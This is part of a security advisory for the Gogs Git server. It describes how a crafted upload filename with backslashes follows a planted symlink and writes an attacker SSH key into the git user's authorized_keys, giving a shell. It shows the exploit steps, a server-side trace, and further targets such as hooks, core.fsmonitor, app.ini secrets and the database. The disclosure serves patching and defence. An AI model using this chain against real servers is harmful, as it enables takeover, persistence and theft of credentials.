Advisory

GHSA-89mr-xqfv-758m

Details, part 2 of 2. The advisory

Details

python3 poc.py
# upload status: 200 body: {"uuid":"<UUID>"}
# commit status: 302

Step 3 — confirm and use the foothold

sudo cat /home/git/.ssh/authorized_keys           # operator's view
# → ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop

ssh -i ~/.ssh/id_ed25519 [email protected]         # attacker's view
# → shell as the gogs runtime UID

Server-side trace

multipart wire bytes:  filename="hijack\\authorized_keys"
mime.ParseMediaType    → "hijack\authorized_keys"           (quoted-pair: \\ → \)
filepath.Base          → "hijack\authorized_keys"           (Linux: only / is a separator)
pathx.Clean            → "hijack/authorized_keys"           (\\ → /, then path.Clean)

UploadRepoFiles:
  targetPath = <local-r>/<repoID>/hijack/authorized_keys
             = /home/git/.ssh/authorized_keys               (parent symlink resolved)
  osx.IsSymlink(targetPath) = false                         (leaf doesn't exist as a symlink)
  iox.CopyFile → os.Create → OpenFile WITHOUT O_NOFOLLOW    (follows the parent symlink)

Other reachable targets (same primitive)

| Symlink target | Effect on next event |
|---|---|
| /home/git/.ssh | SSH key implant → shell as gogs UID |
| <RepoRoot>/<owner>/<repo>.git/hooks | Hook overwrite → arbitrary code on next push |
| <RepoRoot>/<owner>/<repo>.git | core.fsmonitor=<cmd> in config → exec on next git op |
| ~git/custom/conf | Modify app.ini (SCRIPT_TYPE, INSTALL_LOCK, SECRET_KEY) on restart |
| Path of the sqlite DB file | DoS or admin-row replant |

Independent confirmation against the source

git clone https://github.com/gogs/gogs.git && cd gogs
git checkout d7571322
diff <(sed -n '160,170p' internal/database/repo_editor.go) \
     <(sed -n '601,615p' internal/database/repo_editor.go)
# Confirm: line 163 calls hasSymlinkInPath; line 606 calls osx.IsSymlink (leaf only)
sed -n '13,16p' internal/pathx/pathx.go
# Confirm: pathx.Clean does ReplaceAll("\\", "/")

Impact

  • Authenticated RCE as the gogs runtime UID from one repo write. Chain: plant symlink (one git push) → upload with crafted filename → commit → write to ~git/.ssh/authorized_keys → ssh in.
  • Lateral targets: gogs sqlite DB (rewrite admin row), bare-repo hook scripts (run on next push by *any* user with GOGS_AUTH_USER_* env populated), app.ini SECRET_KEY (forges session cookies, decrypts stored 2FA secrets and mirror credentials).
  • Persistent: symlink and key both survive restart; removing the attacker's repo access does not undo the SSH foothold.
  • Linux/macOS only. Windows hosts are unaffected for two independent reasons (filepath.Base separator handling, git's core.symlinks default).

Sources & licences